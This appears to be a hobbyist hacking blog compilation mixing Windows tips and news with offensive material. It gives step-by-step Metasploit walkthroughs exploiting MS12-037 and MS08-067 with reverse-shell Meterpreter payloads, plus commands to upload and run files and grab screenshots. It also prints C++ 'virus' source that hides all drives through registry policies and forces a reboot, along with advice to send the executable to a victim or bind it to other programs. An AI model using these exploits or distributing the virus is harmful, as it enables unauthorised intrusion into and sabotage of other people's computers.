Hacking windows using MS12-037 Internet Explorer Same ID Vulnerability




Hi Readers members, Today i am going to explain how to hack the Windows system using the recent IE exploit. This article is intend to educate PenTesters.

Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing a deleted object, aka "Same ID Property Remote Code Execution Vulnerability."

 Two technologies in modern OS are used to make exploits of this sort harder: DEP (data execution prevention) and ASLR (address-space layout randomisation).

DEP is intended to prevent an application or service from executing code from a non-executable memory region. This helps prevent certain exploits that store code via a buffer overflow. (wiki)

ASLR loads software modules such as DLLs into memory at randomised locations. Moving system DLLs around makes it harder for hackers to guess where to find the library functions they need, such as URLDownloadToFile() and CreateProcess().

But DEP and ASLR don't make remote code execution attacks impossible -just trickier.

In the case of CVE-2012-1875, ASLR can be bypassed by trying to force Internet Explorer to find and load an old version of the Microsoft C runtime DLL - one which was compiled before ASLR become the norm, and
therefore doesn't support it. Whenever you load a non-ASLR DLL, even into an ASLR-enabled program, you can predict where it will end up.

And DEP is bypassed using a technique known as ROP, or return-oriented programming.

Exploit for the Internet Explorer Same ID Vulnerability (CVE-2012-1875 ) :

Requirements :

Target OS: XP3
Attacker OS : Backtrack or any PenTesting Distros

As usual , you have to create two VMs in your VirtualBox.

Preparing victim system:
Install the XP3 in one of the VM. Change the VM's Network adapter to the Host-only-adapter. (if you don't know what i am talking about, then please use this Virtualbox manual)

Preparing the Attacker system:
Update the Metasploit modules by entering the following command in Terminal:
msfupdate

Or you can download the 'ms12_037_same_id.rb' module and paste in this directory "/opt/metasploit/msf3/modules/exploits/windows/browser/"

Configuring settings for the exploit in Metasploit:
Open the Terminal and type "msfconsole" to get the Metasploit console.

Type " use exploit/windows/browser/ms12_037_same_id" in the console.

Now we have to know the list of settings available for this exploit module. In order to get the list , you can type "show options" in the console.

Command: set SRVHOST 192.168.56.10
Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal.

Command: set URIPATH /
Details: The path in which our exploit will run.

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:
set payload windows/meterpreter/reverse_tcp

Ok, let us launch the exploit.

Type "exploit" in the console.

Now the exploit is started. Our exploit is running at "http://192.168.56.10:8080/".

Once the victim loads the URL in his IE browser, you will get the following message in your metasploit console:

[*] Client requesting: /
[*] Using JRE ROP
[*] Sending html
[*] Sending stage (752128 bytes) to 192.168.56.12
[*] Meterpreter session 1 opened (192.168.56.10:4444 -> 192.168.56.12:1685) 


Type "sessions" to list the active sessions . Type "sessions -i 1", this will open the connection to the session with the id '1' and bring you to Meterpreter.

Now , You can control the victim system from computer using meterpreter.

For example:

'upload /Test.exe c:\\", this command will upload the Test.exe from the root('file system' dir) folder of the BT5 to the C drive of the Target.

'execute -f C:\\Test.exe", this command will run our uploaded File in the Target.

How to create CON folder in windows



Not only CON, we cannot create any of these-

CON, PRN, AUX, CLOCK$, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 and more.. The reason is that con, prn, lpt1.. lpt9, etc are underlying devices from the time dos was written. So if u r allowed to create such folders, there will be an ambiguity in where to write data when the data is supposed to go to the specified devices. In other words, if i want to print something, internally what windows does is -- it will write the data to the folder prn (virtually u can call it a folder, i mean prn, con, etc are virtual folders in device level). So if we are able to create con folder, windows will get confused where to write the data, to virtual con folder or real one.

So Now, Try this...

Open the Command prompt by 
Start -> Run and typing cmd

Code:-
C:\> md \\.\c:\con

Now, Open My Computer and browse through the path where you created CON folder... Surprising.. ?? Yeah.. you have created it successfully

Now, try to delete the folder from My computer
OOPS!!! You cant delete it...

Now, try this in command prompt console

Code:-
C:\> rd \\.\c:\con 

Yeah!! You did it...

How to hack a remote computer??



















By exploiting the parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service(CVE-2008-4250). Before we jump into the actual exploitation process, let me give more details about this Server Service Vulnerability. 


Details about Server Service Vulnerability(MS08-067):


Microsoft Windows Server service provides support for sharing resources such as files and print services over the network.

The Server service is vulnerable to a remote code-execution vulnerability. The vulnerability is caused due to an error in netapi32.dll when processing directory traversal character sequences in path names. This can be exploited to corrupt stack memory by e.g. sending RPC requests containing specially crafted path names to the Server Service component. The 'NetprPathCanonicalize()' function in the 'netapi32.dll' file is affected.

A malicious request to vulnerable system results in complete compromise of vulnerable computers.

This vulnerability affects Windows XP, Windows 2000, Windows Server 2003, Windows Vista, and Windows Server 2008. But Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.

Exploiting the MS08-067 using Metasploit:

*Requirements*

1. VirtualBox
2. Backtrack 5
3. Target OS(XP)

Step 1:

Create Two Virtual Machine(VM) namely "Target" and "BT5". Install the XP inside Target VM and Backtrack inside BT5. Start the Two VMs.

Step 2: Find the IP address of Target
Open The command prompt in the Target machine(XP). Type "ipconfig" to find the IP address of the Target system.

"I use different method for finding the ip address of victim. For Eg., By sending link that will get the ip details or use Angry IP Scanner."

Step 3: Information Gathering
Now let us collect some information about the Target machine. For this purpose , we are going to use the nmap tool.

Open The Terminal in the BT5 machine(Backtrack) and type "nmap -O 192.168.56.12". Here 192.168.56.12 is IP address of Target machine. If you look at the result, you can find the list of open ports and OS version.

Step 4: Metasploit
Now open the Terminal in the BT5 machine(Backtrack) and Type "msfconsole".

The msfconsole is the most popular interface to the Metasploit Framework. It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework.

Let us use the Search command to find the exploit modules with the keyword netapi. Type "search netapi". Now you can see the list of modules match with the netapi.

We are going to exploit MS08-067 , so type "use exploit/windows/smb/ms08_067_netapi".

Step 5: Set Payload
As usual, let use the Reverse Tcp Payload for this exploit also. Type "set payload windows/meterpreter/reverse_tcp" in the msfconsole.

Step 6: Options
Type "set LHOST 192.168.56.10". Here 192.168.56.10 is IP address of Backtrack machine. You can find the ip address by typing 'ifconfig' command in the Terminal.

Type "set RHOST 192.168.56.12". Here 192.168.56.12 is IP address of Target machine.

Step 7: Exploiting
Ok, it is time to exploit the vulnerability, type "exploit" in the console. If the exploit is successful, you can see the following result.

Now we can control the remote computer using the meterpreter. For example, typing "screenshot" will grab the screenshot of the victim system.

Preventive Measures:
Update your Windows OS frequently..

Trick to type slowly



*Open Notepad.
*Paste the following code in the notepad file:

WScript.Sleep 180000 
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

*Save file with any name & with .vbs extension & close it.
Now open the file & see how freakishly slow the messages appear!

C++ Batch Virus code to disable All Hard disk


Hi friends, here i give you give the C++ virus code. Actually Batch code is converted to C++ virus code. If you like you can use it as batch code also..

#include < windows.h > #include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\Hackersgrp.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\Hackersgrp.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; 

}

Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp

*Note:-
Don't run this c++ program, it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.

Windows 8 operating system will ban Firefox and Chrome

A new version of the Windows 8 operating system could shut out browsers such as Firefox and Chrome, according to Mozilla. Microsoft has been saying all along that x86 apps wouldn't run on Windows on ARM and it explicitly said there would be no third-party code on Windows RT when it announced the details of the platform back in February. 


That's no plugins for IE on the Windows RT desktop as well as no desktop Firefox and Chrome. According to Mozilla, the makers of Firefox, Microsoft is planning to allow only one fully-functioning browser on Windows RT: Microsoft's own Internet Explorer. Writing on the Mozilla blog, Harvey Anderson, general counsel for the company, lashed out at Microsoft for the slight, and called the alleged move "an unwelcome return to the digital dark ages where users and developers didn’t have browser choices."

Why is Mozilla focused on Microsoft? Anderson's answer: Microsoft is a different beast. "The difference here is that Microsoft is using its Windows monopoly power in the OS market to exclude competition in the browser market," Anderson said, possibly referring to Microsoft's dominance of the entire operating system space, not only mobile.

The fully featured version of Firefox will be allowed to run on Intel-based Windows 8 tablets. It's only Windows RT where there will be a problem. Microsoft also declined to comment on Mozilla's accusations.

If you have any complain or suggestions plz dont forget to put comments......

Main Differences between windows 7 and windows 8


1)boot time: win7 48 sec. win8 10 sec. 

2)desktop : Microsoft has replaced the normal shortcut icons with dynamic tiles. You can change their size and place similar applications around each other- or anything else
that my suit you.


3)mounting iso images: Windows 7 could only burn an ISO image to a DVD but Windows 8 actually betters this by offering you the option to mount the image too. In Windows 7, you didn’t have the option to make virtual drives to use the ISO image’s content but Windows 8 allows you to create a virtual drive to mount the ISO image so that you can easily use it just like a normal DVD.

4)Built-in Antivirus(bad news for hackers): Windows 8 has an antivirus present inside the kernel of the operating system. This means that your system won’t boot if a corrupt USB device is plugged in. It sounds impressive though I don’t know whether it would pass the test of time…. and viruses! All in all, I do expect Windows 8 to be a serious upgrade on Windows 7 and with Microsoft working on the things that require some tweaking; I genuinely believe that Microsoft is finally ready to launch an OS which will take the world by storm 

5)Multiple monitors support in Windows : Microsoft announced that customers can use ore than one monitor to connect with Windows 8 operating system. Windows 8 PC management allows customers to use multiple monitors at same time. It means Windows 8 offers flexibility by allowing start screen at one monitor and desktop in another. Customer can also choose taskbar on both screens with different icons on each monitor. Moreover, you can play with background images as well by changing it separate on each monitor.

HOW TO FIX CORRUPTED FILES IN WINDOWS XP


Step 1
Place your Windows XP CD in CD/DVD drive, and verify that the computer recognizes it by waiting for the AutoLoad to appear, or opening "My Computer" and seeing it in your CD/DVD drive.

Step 2
Point and click your "Start" menu, and select "Run"
A box will appear that will prompt you for a command.

Step 3
In the box that appears, type in:
sfc /scannow
The fix will now load, and will hopefully fix all of the corrupted files on your Windows XP drive.

If that does not fix it, you may want to try loading a repair image, or there could potentially be damage to your hard drive that is not fixable on a software level.

You could also attempt a defragment of your hard drive, as fragmentations of files can sometimes produce errors.

Good Luck!
